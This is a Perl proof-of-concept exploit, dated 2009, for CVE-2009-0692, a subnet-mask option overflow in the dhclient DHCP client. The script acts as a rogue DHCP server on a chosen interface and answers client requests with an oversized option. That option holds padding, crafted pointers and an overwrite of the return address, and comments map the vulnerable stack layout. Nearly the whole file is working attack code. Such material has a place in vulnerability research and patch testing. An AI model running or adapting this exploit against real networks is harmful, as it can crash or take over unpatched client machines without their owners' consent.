#!/usr/bin/perl
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
# * Neither the name of the Nth Dimension nor the names of its contributors may
# be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# (c) Tim Brown, 2009
# <mailto:timb@nth-dimension.org.uk>
# <http://www.nth-dimension.org.uk/> / <http://www.machine.org.uk/>
#
# PoC exploit for CVE-2009-0692.

package Scaperl;
use Scaperl;
use Net::DHCP::Packet;
use Net::DHCP::Constants;

$conf->{'iface'} = shift;
$ipaddress = shift;
if ($conf->{'iface'} =~ /([a-z0-9]+)/) {
	$conf->{'iface'} = $1;
} else  {
	die "usage: " . $0 . " <interface> <ipaddress>";
}
if ($ipaddress =~ /([0-9.]+)/) {
	$ipaddress = $1;
} else  {
	die "usage: " . $0 . " <interface> <ipaddress>";
}

sub respond {
	$linktype = shift;
	$headerdata = shift;
	$packetdata = shift;
	$dissectdata = Ether($packetdata);
	$layer2data = $dissectdata->{"layers_list"}[0];
	$layer3data = $dissectdata->{"layers_list"}[1];
	$layer4data = $dissectdata->{"layers_list"}[2];
	$layer5data = $dissectdata->{"layers_list"}[3];
	$dhcprequest = Net::DHCP::Packet->new($layer5data->{"load"});
	$id ++;
	if ($dhcprequest->getOptionValue(DHO_DHCP_MESSAGE_TYPE()) eq DHCPDISCOVER()) {
		$dhcpresponse = Net::DHCP::Packet->new(Comment => $id, Op => BOOTREPLY(), Hops => $dhcprequest->hops(), Xid => $dhcprequest->xid(), Flags => $dhcprequest->flags(), Ciaddr => $dhcprequest->ciaddr(), Yiaddr => $ipaddress, Siaddr => $dhcprequest->siaddr(), Giaddr => $dhcprequest->giaddr(), Chaddr => $dhcprequest->chaddr(), DHO_DHCP_MESSAGE_TYPE() => DHCPOFFER(), DHO_DHCP_LEASE_TIME() => 3x60x60);
	} elsif ($dhcprequest->getOptionValue(DHO_DHCP_MESSAGE_TYPE()) eq DHCPREQUEST()) {
		$dhcpresponse = Net::DHCP::Packet->new(Comment => $dhcprequest->comment(), Op => BOOTREPLY(), Hops => $dhcprequest->hops(), Xid => $dhcprequest->xid(), Flags => $dhcprequest->flags(), Ciaddr => $dhcprequest->ciaddr(), Yiaddr => $dhcprequest->getOptionValue(DHO_DHCP_REQUESTED_ADDRESS()), Siaddr => $dhcprequest->siaddr(), Giaddr => $dhcprequest->giaddr(), Chaddr => $dhcprequest->chaddr(), DHO_DHCP_MESSAGE_TYPE() => DHCPACK(), DHO_DHCP_LEASE_TIME() => 3x60x60);
	} else {
		return;
	}
	# int i;
        # struct data_string data;
        # struct option_cache *oc;
        # pair *hash;
        # char *s, *t;
        # struct envadd_state es;
	#                                               \/ netmask.iabuf \/ es.client \/ es.prefix         \/ data.buffer       \/ data.data \/ data.len data.te \/  \/ i            \/ hash \/ s    \/ t    \/ $ebp \/ $eip
	$dhcpresponse->addOptionRaw(DHO_SUBNET_MASK(), "A"x16 . "\xaf\xef\x0a\x08" . "\x24\x81\x04\x08" . "\x00\x00\x00\x00" . "E"x4 . "\x04\x00\x00\x00" . "G"x4 . "H"x4 . "I"x4 . "J"x4 . "K"x4 . "L"x4 . "M"x4 . "\xef\xbe\xad\xde");
	$dhcpdata = $dhcpresponse->serialize();
	$responsepacket = Ether(dst => $layer2data->{'src'})/IP(dst => $ipaddress, proto => 17)/UDP(sport => 67, dport => 68)/$dhcpdata;
	sendp($responsepacket);
}

print "PoC exploit for dhclient malformed subnet mask option overflow.\r\n";
print "(c) Tim Brown, 2009\r\n";
print "<mailto:timb\@nth-dimension.org.uk>\r\n";
print "<http://www.nth-dimension.org.uk/> / <http://www.machine.org.uk/>\r\n";
print "Awaiting requests...\r\n";
sniff(lfilter => "udp dst port 67", promisc => 1, prn => "respond"); 
